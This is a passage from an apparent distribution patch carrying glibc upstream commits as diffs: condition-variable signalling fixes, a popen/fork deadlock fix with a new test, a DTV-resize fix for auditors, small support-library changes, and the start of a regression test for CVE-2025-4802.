++         release-MO store when initializing a group in __condvar_switch_g1
++         because we use an atomic read-modify-write and thus extend that
++         store's release sequence.  */
+       atomic_fetch_add_relaxed (cond->__data.__g_signals + g1, 2);
+       cond->__data.__g_size[g1]--;
+       /* TODO Only set it if there are indeed futex waiters.  */
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index 7fc9dadf15..80bb728211 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -354,8 +354,7 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+      because we do not need to establish any happens-before relation with
+      signalers (see __pthread_cond_signal); modification order alone
+      establishes a total order of waiters/signals.  We do need acquire MO
+-     to synchronize with group reinitialization in
+-     __condvar_quiesce_and_switch_g1.  */
++     to synchronize with group reinitialization in __condvar_switch_g1.  */
+   uint64_t wseq = __condvar_fetch_add_wseq_acquire (cond, 2);
+   /* Find our group's index.  We always go into what was G2 when we acquired
+      our position.  */
+@@ -387,9 +386,9 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+     {
+       /* Now wait until a signal is available in our group or it is closed.
+          Acquire MO so that if we observe (signals == lowseq) after group
+-         switching in __condvar_quiesce_and_switch_g1, we synchronize with that
+-         store and will see the prior update of __g1_start done while switching
+-         groups too.  */
++         switching in __condvar_switch_g1, we synchronize with that store and
++         will see the prior update of __g1_start done while switching groups
++         too.  */
+       unsigned int signals = atomic_load_acquire (cond->__data.__g_signals + g);
+       uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+       unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+
+commit 7f71824b8039b8afc150dd5c881b61faf10675ef
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 08:05:40 2024 -0500
+
+    nptl: Use all of g1_start and g_signals
+    
+    The LSB of g_signals was unused. The LSB of g1_start was used to indicate
+    which group is G2. This was used to always go to sleep in pthread_cond_wait
+    if a waiter is in G2. A comment earlier in the file says that this is not
+    correct to do:
+    
+     "Waiters cannot determine whether they are currently in G2 or G1 -- but they
+      do not have to because all they are interested in is whether there are
+      available signals"
+    
+    I either would have had to update the comment, or get rid of the check. I
+    chose to get rid of the check. In fact I don't quite know why it was there.
+    There will never be available signals for group G2, so we didn't need the
+    special case. Even if there were, this would just be a spurious wake. This
+    might have caught some cases where the count has wrapped around, but it
+    wouldn't reliably do that, (and even if it did, why would you want to force a
+    sleep in that case?) and we don't support that many concurrent waiters
+    anyway. Getting rid of it allows us to use one more bit, making us more
+    robust to wraparound.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 91bb902f58264a2fd50fbce8f39a9a290dd23706)
+
+diff --git a/nptl/pthread_cond_broadcast.c b/nptl/pthread_cond_broadcast.c
+index 38bba17bfc..51afa62adf 100644
+--- a/nptl/pthread_cond_broadcast.c
++++ b/nptl/pthread_cond_broadcast.c
+@@ -57,7 +57,7 @@ ___pthread_cond_broadcast (pthread_cond_t *cond)
+     {
+       /* Add as many signals as the remaining size of the group.  */
+       atomic_fetch_add_relaxed (cond->__data.__g_signals + g1,
+-				cond->__data.__g_size[g1] << 1);
++				cond->__data.__g_size[g1]);
+       cond->__data.__g_size[g1] = 0;
+ 
+       /* We need to wake G1 waiters before we switch G1 below.  */
+@@ -73,7 +73,7 @@ ___pthread_cond_broadcast (pthread_cond_t *cond)
+     {
+       /* Step (3): Send signals to all waiters in the old G2 / new G1.  */
+       atomic_fetch_add_relaxed (cond->__data.__g_signals + g1,
+-				cond->__data.__g_size[g1] << 1);
++				cond->__data.__g_size[g1]);
+       cond->__data.__g_size[g1] = 0;
+       /* TODO Only set it if there are indeed futex waiters.  */
+       do_futex_wake = true;
+diff --git a/nptl/pthread_cond_common.c b/nptl/pthread_cond_common.c
+index 5044273cc2..389402913c 100644
+--- a/nptl/pthread_cond_common.c
++++ b/nptl/pthread_cond_common.c
+@@ -208,9 +208,9 @@ __condvar_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+      behavior.
+      Note that this works correctly for a zero-initialized condvar too.  */
+   unsigned int old_orig_size = __condvar_get_orig_size (cond);
+-  uint64_t old_g1_start = __condvar_load_g1_start_relaxed (cond) >> 1;
+-  if (((unsigned) (wseq - old_g1_start - old_orig_size)
+-	  + cond->__data.__g_size[g1 ^ 1]) == 0)
++  uint64_t old_g1_start = __condvar_load_g1_start_relaxed (cond);
++  uint64_t new_g1_start = old_g1_start + old_orig_size;
++  if (((unsigned) (wseq - new_g1_start) + cond->__data.__g_size[g1 ^ 1]) == 0)
+ 	return false;
+ 
+   /* We have to consider the following kinds of waiters:
+@@ -221,16 +221,10 @@ __condvar_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+        are not affected.
+      * Waiters in G1 have already received a signal and been woken.  */
+ 
+-  /* Update __g1_start, which closes this group.  The value we add will never
+-     be negative because old_orig_size can only be zero when we switch groups
+-     the first time after a condvar was initialized, in which case G1 will be
+-     at index 1 and we will add a value of 1. Relaxed MO is fine because the
+-     change comes with no additional constraints that others would have to
+-     observe.  */
+-  __condvar_add_g1_start_relaxed (cond,
+-      (old_orig_size << 1) + (g1 == 1 ? 1 : - 1));
+-
+-  unsigned int lowseq = ((old_g1_start + old_orig_size) << 1) & ~1U;
++  /* Update __g1_start, which closes this group.  Relaxed MO is fine because
++     the change comes with no additional constraints that others would have
++     to observe.  */
++  __condvar_add_g1_start_relaxed (cond, old_orig_size);
+ 
+   /* At this point, the old G1 is now a valid new G2 (but not in use yet).
+      No old waiter can neither grab a signal nor acquire a reference without
+@@ -242,13 +236,13 @@ __condvar_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+   g1 ^= 1;
+   *g1index ^= 1;
+ 
+-  /* Now advance the new G1 g_signals to the new lowseq, giving it
++  /* Now advance the new G1 g_signals to the new g1_start, giving it
+      an effective signal count of 0 to start.  */
+-  atomic_store_release (cond->__data.__g_signals + g1, lowseq);
++  atomic_store_release (cond->__data.__g_signals + g1, (unsigned)new_g1_start);
+ 
+   /* These values are just observed by signalers, and thus protected by the
+      lock.  */
+-  unsigned int orig_size = wseq - (old_g1_start + old_orig_size);
++  unsigned int orig_size = wseq - new_g1_start;
+   __condvar_set_orig_size (cond, orig_size);
+   /* Use and addition to not loose track of cancellations in what was
+      previously G2.  */
+diff --git a/nptl/pthread_cond_signal.c b/nptl/pthread_cond_signal.c
+index f095497142..fa3a5c3d8f 100644
+--- a/nptl/pthread_cond_signal.c
++++ b/nptl/pthread_cond_signal.c
+@@ -80,7 +80,7 @@ ___pthread_cond_signal (pthread_cond_t *cond)
+          release-MO store when initializing a group in __condvar_switch_g1
+          because we use an atomic read-modify-write and thus extend that
+          store's release sequence.  */
+-      atomic_fetch_add_relaxed (cond->__data.__g_signals + g1, 2);
++      atomic_fetch_add_relaxed (cond->__data.__g_signals + g1, 1);
+       cond->__data.__g_size[g1]--;
+       /* TODO Only set it if there are indeed futex waiters.  */
+       do_futex_wake = true;
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index 80bb728211..0f1dfcb595 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -84,7 +84,7 @@ __condvar_cancel_waiting (pthread_cond_t *cond, uint64_t seq, unsigned int g,
+      not hold a reference on the group.  */
+   __condvar_acquire_lock (cond, private);
+ 
+-  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond) >> 1;
++  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+   if (g1_start > seq)
+     {
+       /* Our group is closed, so someone provided enough signals for it.
+@@ -259,7 +259,6 @@ __condvar_cleanup_waiting (void *arg)
+      * Waiters fetch-add while having acquire the mutex associated with the
+        condvar.  Signalers load it and fetch-xor it concurrently.
+    __g1_start: Starting position of G1 (inclusive)
+-     * LSB is index of current G2.
+      * Modified by signalers while having acquired the condvar-internal lock
+        and observed concurrently by waiters.
+    __g1_orig_size: Initial size of G1
+@@ -280,11 +279,9 @@ __condvar_cleanup_waiting (void *arg)
+      * Reference count used by waiters concurrently with signalers that have
+        acquired the condvar-internal lock.
+    __g_signals: The number of signals that can still be consumed, relative to
+-     the current g1_start.  (i.e. bits 31 to 1 of __g_signals are bits
+-     31 to 1 of g1_start with the signal count added)
++     the current g1_start.  (i.e. g1_start with the signal count added)
+      * Used as a futex word by waiters.  Used concurrently by waiters and
+        signalers.
+-     * LSB is currently reserved and 0.
+    __g_size: Waiters remaining in this group (i.e., which have not been
+      signaled yet.
+      * Accessed by signalers and waiters that cancel waiting (both do so only
+@@ -391,9 +388,8 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+          too.  */
+       unsigned int signals = atomic_load_acquire (cond->__data.__g_signals + g);
+       uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+-      unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 
+-      if (seq < (g1_start >> 1))
++      if (seq < g1_start)
+         {
+           /* If the group is closed already,
+              then this waiter originally had enough extra signals to
+@@ -406,13 +402,13 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+          by now, perhaps in the process of switching back to an older
+          G2, but in either case we're allowed to consume the available
+          signal and should not block anymore.  */
+-      if ((int)(signals - lowseq) >= 2)
++      if ((int)(signals - (unsigned int)g1_start) > 0)
+         {
+ 	  /* Try to grab a signal.  See above for MO.  (if we do another loop
+ 	     iteration we need to see the correct value of g1_start)  */
+ 	    if (atomic_compare_exchange_weak_acquire (
+ 			cond->__data.__g_signals + g,
+-			&signals, signals - 2))
++			&signals, signals - 1))
+ 	      break;
+ 	    else
+ 	      continue;
+
+commit 8d3dd23e3de8b4c6e4b94f8bbfab971c3b8a55be
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Thu Mar 13 06:07:07 2025 +0100
+
+    nptl: PTHREAD_COND_INITIALIZER compatibility with pre-2.41 versions (bug 32786)
+    
+    The new initializer and struct layout does not initialize the
+    __g_signals field in the old struct layout before the change in
+    commit c36fc50781995e6758cae2b6927839d0157f213c ("nptl: Remove
+    g_refs from condition variables").  Bring back fields at the end
+    of struct __pthread_cond_s, so that they are again zero-initialized.
+    
+    Reviewed-by: Sam James <sam@gentoo.org>
+
+diff --git a/sysdeps/nptl/bits/thread-shared-types.h b/sysdeps/nptl/bits/thread-shared-types.h
+index a3d482f80f..bccc2003ec 100644
+--- a/sysdeps/nptl/bits/thread-shared-types.h
++++ b/sysdeps/nptl/bits/thread-shared-types.h
+@@ -99,6 +99,8 @@ struct __pthread_cond_s
+   unsigned int __g1_orig_size;
+   unsigned int __wrefs;
+   unsigned int __g_signals[2];
++  unsigned int __unused_initialized_1;
++  unsigned int __unused_initialized_2;
+ };
+ 
+ typedef unsigned int __tss_t;
+diff --git a/sysdeps/nptl/pthread.h b/sysdeps/nptl/pthread.h
+index 9af75d6eae..e0f24418fe 100644
+--- a/sysdeps/nptl/pthread.h
++++ b/sysdeps/nptl/pthread.h
+@@ -152,7 +152,7 @@ enum
+ 
+ 
+ /* Conditional variable handling.  */
+-#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, 0, 0, {0, 0} } }
++#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, 0, 0, {0, 0}, 0, 0 } }
+ 
+ 
+ /* Cleanup buffers */
+
+commit 33b33e9dd0ff26158b1b83cc4347a39c073e490e
+Author: Arjun Shankar <arjun@redhat.com>
+Date:   Fri Oct 18 16:03:25 2024 +0200
+
+    libio: Fix a deadlock after fork in popen
+    
+    popen modifies its file handler book-keeping under a lock that wasn't
+    being taken during fork.  This meant that a concurrent popen and fork
+    could end up copying the lock in a "locked" state into the fork child,
+    where subsequently calling popen would lead to a deadlock due to the
+    already (spuriously) held lock.
+    
+    This commit fixes the deadlock by appropriately taking the lock before
+    fork, and releasing/resetting it in the parent/child after the fork.
+    
+    A new test for concurrent popen and fork is also added.  It consistently
+    hangs (and therefore fails via timeout) without the fix applied.
+    Reviewed-by: Florian Weimer <fweimer@redhat.com>
+    
+    (cherry picked from commit 9f0d2c0ee6c728643fcf9a4879e9f20f5e45ce5f)
+
+diff --git a/libio/Makefile b/libio/Makefile
+index 5292baa4e0..7faba230ac 100644
+--- a/libio/Makefile
++++ b/libio/Makefile
+@@ -117,6 +117,7 @@ tests = \
+   tst-mmap-offend \
+   tst-mmap-setvbuf \
+   tst-mmap2-eofsync \
++  tst-popen-fork \
+   tst-popen1 \
+   tst-setvbuf1 \
+   tst-sprintf-chk-ub \
+diff --git a/libio/iopopen.c b/libio/iopopen.c
+index d01cb0648e..352513a291 100644
+--- a/libio/iopopen.c
++++ b/libio/iopopen.c
+@@ -57,6 +57,26 @@ unlock (void *not_used)
+ }
+ #endif
+ 
++/* These lock/unlock/resetlock functions are used during fork.  */
++
++void
++_IO_proc_file_chain_lock (void)
++{
++  _IO_lock_lock (proc_file_chain_lock);
++}
++
++void
++_IO_proc_file_chain_unlock (void)
++{
++  _IO_lock_unlock (proc_file_chain_lock);
++}
++
++void
++_IO_proc_file_chain_resetlock (void)
++{
++  _IO_lock_init (proc_file_chain_lock);
++}
++
+ /* POSIX states popen shall ensure that any streams from previous popen()
+    calls that remain open in the parent process should be closed in the new
+    child process.
+diff --git a/libio/libioP.h b/libio/libioP.h
+index 616253fcd0..a83a411fdf 100644
+--- a/libio/libioP.h
++++ b/libio/libioP.h
+@@ -429,6 +429,12 @@ libc_hidden_proto (_IO_list_resetlock)
+ extern void _IO_enable_locks (void) __THROW;
+ libc_hidden_proto (_IO_enable_locks)
+ 
++/* Functions for operating popen's proc_file_chain_lock during fork.  */
++
++extern void _IO_proc_file_chain_lock (void) __THROW attribute_hidden;
++extern void _IO_proc_file_chain_unlock (void) __THROW attribute_hidden;
++extern void _IO_proc_file_chain_resetlock (void) __THROW attribute_hidden;
++
+ /* Default jumptable functions. */
+ 
+ extern int _IO_default_underflow (FILE *) __THROW;
+diff --git a/libio/tst-popen-fork.c b/libio/tst-popen-fork.c
+new file mode 100644
+index 0000000000..1df30fc6c0
+--- /dev/null
++++ b/libio/tst-popen-fork.c
+@@ -0,0 +1,80 @@
++/* Test concurrent popen and fork.
++   Copyright (C) 2024 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <stdio.h>
++#include <stdatomic.h>
++#include <pthread.h>
++#include <unistd.h>
++#include <sys/wait.h>
++
++#include <support/check.h>
++#include <support/xthread.h>
++#include <support/xunistd.h>
++
++static void
++popen_and_pclose (void)
++{
++  FILE *f = popen ("true", "r");
++  TEST_VERIFY_EXIT (f != NULL);
++  pclose (f);
++  return;
++}
++
++static atomic_bool done = ATOMIC_VAR_INIT (0);
++
++static void *
++popen_and_pclose_forever (__attribute__ ((unused))
++                          void *arg)
++{
++  while (!atomic_load_explicit (&done, memory_order_acquire))
++    popen_and_pclose ();
++  return NULL;
++}
++
++static int
++do_test (void)
++{
++
++  /* Repeatedly call popen in a loop during the entire test.  */
++  pthread_t t = xpthread_create (NULL, popen_and_pclose_forever, NULL);
++
++  /* Repeatedly fork off and reap child processes one-by-one.
++     Each child calls popen once, then exits, leading to the possibility
++     that a child forks *during* our own popen call, thus inheriting any
++     intermediate popen state, possibly including lock state(s).  */
++  for (int i = 0; i < 100; i++)
++    {
++      int cpid = xfork ();
++
++      if (cpid == 0)
++        {
++          popen_and_pclose ();
++          _exit (0);
++        }
++      else
++        xwaitpid (cpid, NULL, 0);
++    }
++
++  /* Stop calling popen.  */
++  atomic_store_explicit (&done, 1, memory_order_release);
++  xpthread_join (t);
++
++  return 0;
++}
++
++#include <support/test-driver.c>
+diff --git a/posix/fork.c b/posix/fork.c
+index 298765a1ff..cf9b80e7c0 100644
+--- a/posix/fork.c
++++ b/posix/fork.c
+@@ -62,6 +62,7 @@ __libc_fork (void)
+       call_function_static_weak (__nss_database_fork_prepare_parent,
+ 				 &nss_database_data);
+ 
++      _IO_proc_file_chain_lock ();
+       _IO_list_lock ();
+ 
+       /* Acquire malloc locks.  This needs to come last because fork
+@@ -92,6 +93,7 @@ __libc_fork (void)
+ 
+ 	  /* Reset locks in the I/O code.  */
+ 	  _IO_list_resetlock ();
++	  _IO_proc_file_chain_resetlock ();
+ 
+ 	  call_function_static_weak (__nss_database_fork_subprocess,
+ 				     &nss_database_data);
+@@ -121,6 +123,7 @@ __libc_fork (void)
+ 
+ 	  /* We execute this even if the 'fork' call failed.  */
+ 	  _IO_list_unlock ();
++	  _IO_proc_file_chain_unlock ();
+ 	}
+ 
+       /* Run the handlers registered for the parent.  */
+
+commit 7c3c9ae28685a9142a8cfa3521bbca74c1007d0b
+Author: Arjun Shankar <arjun@redhat.com>
+Date:   Fri Oct 25 09:33:45 2024 +0200
+
+    libio: Correctly link tst-popen-fork against libpthread
+    
+    tst-popen-fork failed to build for Hurd due to not being linked with
+    libpthread.  This commit fixes that.
+    
+    Tested with build-many-glibcs.py for i686-gnu.
+    
+    Reviewed-by: Florian Weimer <fweimer@redhat.com>
+    (cherry picked from commit 6a290b2895b77be839fcb7c44a6a9879560097ad)
+
+diff --git a/libio/Makefile b/libio/Makefile
+index 7faba230ac..f2e98f96eb 100644
+--- a/libio/Makefile
++++ b/libio/Makefile
+@@ -142,6 +142,8 @@ tests = \
+   tst_wscanf \
+   # tests
+ 
++$(objpfx)tst-popen-fork: $(shared-thread-library)
++
+ tests-internal = tst-vtables tst-vtables-interposed
+ 
+ ifeq (yes,$(build-shared))
+
+commit 8667345b83c8ca528a093d4db53f57a1bb1688e4
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Thu Feb 13 21:56:52 2025 +0100
+
+    elf: Keep using minimal malloc after early DTV resize (bug 32412)
+    
+    If an auditor loads many TLS-using modules during startup, it is
+    possible to trigger DTV resizing.  Previously, the DTV was marked
+    as allocated by the main malloc afterwards, even if the minimal
+    malloc was still in use.  With this change, _dl_resize_dtv marks
+    the resized DTV as allocated with the minimal malloc.
+    
+    The new test reuses TLS-using modules from other auditing tests.
+    
+    Reviewed-by: DJ Delorie <dj@redhat.com>
+    (cherry picked from commit aa3d7bd5299b33bffc118aa618b59bfa66059bcb)
+
+diff --git a/elf/Makefile b/elf/Makefile
+index dc686c3bff..be64c59887 100644
+--- a/elf/Makefile
++++ b/elf/Makefile
+@@ -378,6 +378,7 @@ tests += \
+   tst-align3 \
+   tst-audit-tlsdesc \
+   tst-audit-tlsdesc-dlopen \
++  tst-audit-tlsdesc-dlopen2 \
+   tst-audit1 \
+   tst-audit2 \
+   tst-audit8 \
+@@ -817,6 +818,7 @@ modules-names += \
+   tst-auditmanymod8 \
+   tst-auditmanymod9 \
+   tst-auditmod-tlsdesc  \
++  tst-auditmod-tlsdesc2 \
+   tst-auditmod1 \
+   tst-auditmod11 \
+   tst-auditmod12 \
+@@ -3040,6 +3042,9 @@ $(objpfx)tst-audit-tlsdesc.out: $(objpfx)tst-auditmod-tlsdesc.so
+ tst-audit-tlsdesc-ENV = LD_AUDIT=$(objpfx)tst-auditmod-tlsdesc.so
+ $(objpfx)tst-audit-tlsdesc-dlopen.out: $(objpfx)tst-auditmod-tlsdesc.so
+ tst-audit-tlsdesc-dlopen-ENV = LD_AUDIT=$(objpfx)tst-auditmod-tlsdesc.so
++$(objpfx)tst-audit-tlsdesc-dlopen2.out: $(objpfx)tst-auditmod-tlsdesc2.so \
++  $(patsubst %, $(objpfx)%.so, $(tlsmod17a-modules))
++tst-audit-tlsdesc-dlopen2-ENV = LD_AUDIT=$(objpfx)tst-auditmod-tlsdesc2.so
+ 
+ $(objpfx)tst-dlmopen-twice.out: \
+   $(objpfx)tst-dlmopen-twice-mod1.so \
+diff --git a/elf/dl-tls.c b/elf/dl-tls.c
+index 3d529b722c..b13e752358 100644
+--- a/elf/dl-tls.c
++++ b/elf/dl-tls.c
+@@ -528,6 +528,13 @@ _dl_resize_dtv (dtv_t *dtv, size_t max_modid)
+       if (newp == NULL)
+ 	oom ();
+       memcpy (newp, &dtv[-1], (2 + oldsize) * sizeof (dtv_t));
++#ifdef SHARED
++      /* Auditors can trigger a DTV resize event while the full malloc
++	 is not yet in use.  Mark the new DTV allocation as the
++	 initial allocation.  */
++      if (!__rtld_malloc_is_complete ())
++	GL(dl_initial_dtv) = &newp[1];
++#endif
+     }
+   else
+     {
+diff --git a/elf/tst-audit-tlsdesc-dlopen2.c b/elf/tst-audit-tlsdesc-dlopen2.c
+new file mode 100644
+index 0000000000..7ba2c4129a
+--- /dev/null
++++ b/elf/tst-audit-tlsdesc-dlopen2.c
+@@ -0,0 +1,46 @@
++/* Loading TLS-using modules from auditors (bug 32412).  Main program.
++   Copyright (C) 2021-2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <support/xdlfcn.h>
++#include <stdio.h>
++
++static int
++do_test (void)
++{
++  puts ("info: start of main program");
++
++  /* Load TLS-using modules, to trigger DTV resizing.  The dynamic
++     linker will load them again (requiring their own TLS) because the
++     dlopen calls from the auditor were in the auditing namespace.  */
++  for (int i = 1; i <= 19; ++i)
++    {
++      char dso[30];
++      snprintf (dso, sizeof (dso), "tst-tlsmod17a%d.so", i);
++      char sym[30];
++      snprintf (sym, sizeof(sym), "tlsmod17a%d", i);
++
++      void *handle = xdlopen (dso, RTLD_LAZY);
++      int (*func) (void) = xdlsym (handle, sym);
++      /* Trigger TLS allocation.  */
++      func ();
++    }
++
++  return 0;
++}
++
++#include <support/test-driver.c>
+diff --git a/elf/tst-auditmod-tlsdesc2.c b/elf/tst-auditmod-tlsdesc2.c
+new file mode 100644
+index 0000000000..50275cd34d
+--- /dev/null
++++ b/elf/tst-auditmod-tlsdesc2.c
+@@ -0,0 +1,59 @@
++/* Loading TLS-using modules from auditors (bug 32412).  Audit module.
++   Copyright (C) 2021-2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <dlfcn.h>
++#include <link.h>
++#include <stdbool.h>
++#include <stdio.h>
++#include <unistd.h>
++
++unsigned int
++la_version (unsigned int version)
++{
++  /* Open some modules, to trigger DTV resizing before the switch to
++     the main malloc.  */
++  for (int i = 1; i <= 19; ++i)
++    {
++      char dso[30];
++      snprintf (dso, sizeof (dso), "tst-tlsmod17a%d.so", i);
++      char sym[30];
++      snprintf (sym, sizeof(sym), "tlsmod17a%d", i);
++
++      void *handle = dlopen (dso, RTLD_LAZY);
++      if (handle == NULL)
++        {
++          printf ("error: dlmopen from auditor: %s\n", dlerror  ());
++          fflush (stdout);
++          _exit (1);
++        }
++      int (*func) (void) = dlsym (handle, sym);
++      if (func == NULL)
++        {
++          printf ("error: dlsym from auditor: %s\n", dlerror  ());
++          fflush (stdout);
++          _exit (1);
++        }
++      /* Trigger TLS allocation.  */
++      func ();
++    }
++
++  puts ("info: TLS-using modules loaded from auditor");
++  fflush (stdout);
++
++  return LAV_CURRENT;
++}
+
+commit b3002f303cedb8262cbc1ec22999ea36482efa0e
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Tue May 20 19:36:02 2025 +0200
+
+    support: Use const char * argument in support_capture_subprogram_self_sgid
+    
+    The function does not modify the passed-in string, so make this clear
+    via the prototype.
+    
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit f0c09fe61678df6f7f18fe1ebff074e62fa5ca7a)
+
+diff --git a/support/capture_subprocess.h b/support/capture_subprocess.h
+index 93b7245d2a..5406d9f6c0 100644
+--- a/support/capture_subprocess.h
++++ b/support/capture_subprocess.h
+@@ -45,8 +45,7 @@ struct support_capture_subprocess support_capture_subprogram
+ /* Copy the running program into a setgid binary and run it with CHILD_ID
+    argument.  If execution is successful, return the exit status of the child
+    program, otherwise return a non-zero failure exit code.  */
+-int support_capture_subprogram_self_sgid
+-  (char *child_id);
++int support_capture_subprogram_self_sgid (const char *child_id);
+ 
+ /* Deallocate the subprocess data captured by
+    support_capture_subprocess.  */
+diff --git a/support/support_capture_subprocess.c b/support/support_capture_subprocess.c
+index 53847194cb..2383481911 100644
+--- a/support/support_capture_subprocess.c
++++ b/support/support_capture_subprocess.c
+@@ -110,7 +110,7 @@ support_capture_subprogram (const char *file, char *const argv[],
+    safely make it SGID with the TARGET group ID.  Then runs the
+    executable.  */
+ static int
+-copy_and_spawn_sgid (char *child_id, gid_t gid)
++copy_and_spawn_sgid (const char *child_id, gid_t gid)
+ {
+   char *dirname = xasprintf ("%s/tst-tunables-setuid.%jd",
+ 			     test_dir, (intmax_t) getpid ());
+@@ -182,7 +182,7 @@ copy_and_spawn_sgid (char *child_id, gid_t gid)
+   ret = 0;
+   infd = outfd = -1;
+ 
+-  char * const args[] = {execname, child_id, NULL};
++  char * const args[] = {execname, (char *) child_id, NULL};
+ 
+   status = support_subprogram_wait (args[0], args);
+ 
+@@ -211,7 +211,7 @@ err:
+ }
+ 
+ int
+-support_capture_subprogram_self_sgid (char *child_id)
++support_capture_subprogram_self_sgid (const char *child_id)
+ {
+   gid_t target = 0;
+   const int count = 64;
+
+commit 61dcce21e06834f7248a8d516c9ec20788fc728c
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Mon Dec 23 13:57:55 2024 +0100
+
+    support: Add support_record_failure_barrier
+    
+    This can be used to stop execution after a TEST_COMPARE_BLOB
+    failure, for example.
+    
+    (cherry picked from commit d0b8aa6de4529231fadfe604ac2c434e559c2d9e)
+
+diff --git a/support/check.h b/support/check.h
+index 7ea22c7a2c..8f41e5b99f 100644
+--- a/support/check.h
++++ b/support/check.h
+@@ -207,6 +207,9 @@ void support_record_failure_reset (void);
+    failures or not.  */
+ int support_record_failure_is_failed (void);
+ 
++/* Terminate the process if any failures have been encountered so far.  */
++void support_record_failure_barrier (void);
++
+ __END_DECLS
+ 
+ #endif /* SUPPORT_CHECK_H */
+diff --git a/support/support_record_failure.c b/support/support_record_failure.c
+index 978123701d..72ee2b232f 100644
+--- a/support/support_record_failure.c
++++ b/support/support_record_failure.c
+@@ -112,3 +112,13 @@ support_record_failure_is_failed (void)
+      synchronization for reliable test error reporting anyway.  */
+   return __atomic_load_n (&state->failed, __ATOMIC_RELAXED);
+ }
++
++void
++support_record_failure_barrier (void)
++{
++  if (__atomic_load_n (&state->failed, __ATOMIC_RELAXED))
++    {
++      puts ("error: exiting due to previous errors");
++      exit (1);
++    }
++}
+
+commit 079ac4a172a8f6ba37acf1e80e57f5042d2c7561
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Tue May 20 19:45:06 2025 +0200
+
+    elf: Test case for bug 32976 (CVE-2025-4802)
+    
+    Check that LD_LIBRARY_PATH is ignored for AT_SECURE statically
+    linked binaries, using support_capture_subprogram_self_sgid.
+    
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit d8f7a79335b0d861c12c42aec94c04cd5bb181e2)
+
+diff --git a/elf/Makefile b/elf/Makefile
+index be64c59887..afd4eb6fdd 100644
+--- a/elf/Makefile
++++ b/elf/Makefile
+@@ -266,6 +266,7 @@ tests-static-normal := \
+   tst-array1-static \
+   tst-array5-static \
+   tst-dl-iter-static \
++  tst-dlopen-sgid \
+   tst-dst-static \
+   tst-env-setuid-static \
+   tst-getauxval-static \
+@@ -859,6 +860,7 @@ modules-names += \
+   tst-dlmopen-twice-mod1 \
+   tst-dlmopen-twice-mod2 \
+   tst-dlmopen1mod \
++  tst-dlopen-sgid-mod \
+   tst-dlopen-tlsreinitmod1 \
+   tst-dlopen-tlsreinitmod2 \
+   tst-dlopen-tlsreinitmod3 \
+@@ -3153,3 +3155,5 @@ $(objpfx)tst-dlopen-tlsreinit3.out: $(objpfx)tst-auditmod1.so
+ tst-dlopen-tlsreinit3-ENV = LD_AUDIT=$(objpfx)tst-auditmod1.so
+ $(objpfx)tst-dlopen-tlsreinit4.out: $(objpfx)tst-auditmod1.so
+ tst-dlopen-tlsreinit4-ENV = LD_AUDIT=$(objpfx)tst-auditmod1.so
++
++$(objpfx)tst-dlopen-sgid.out: $(objpfx)tst-dlopen-sgid-mod.so
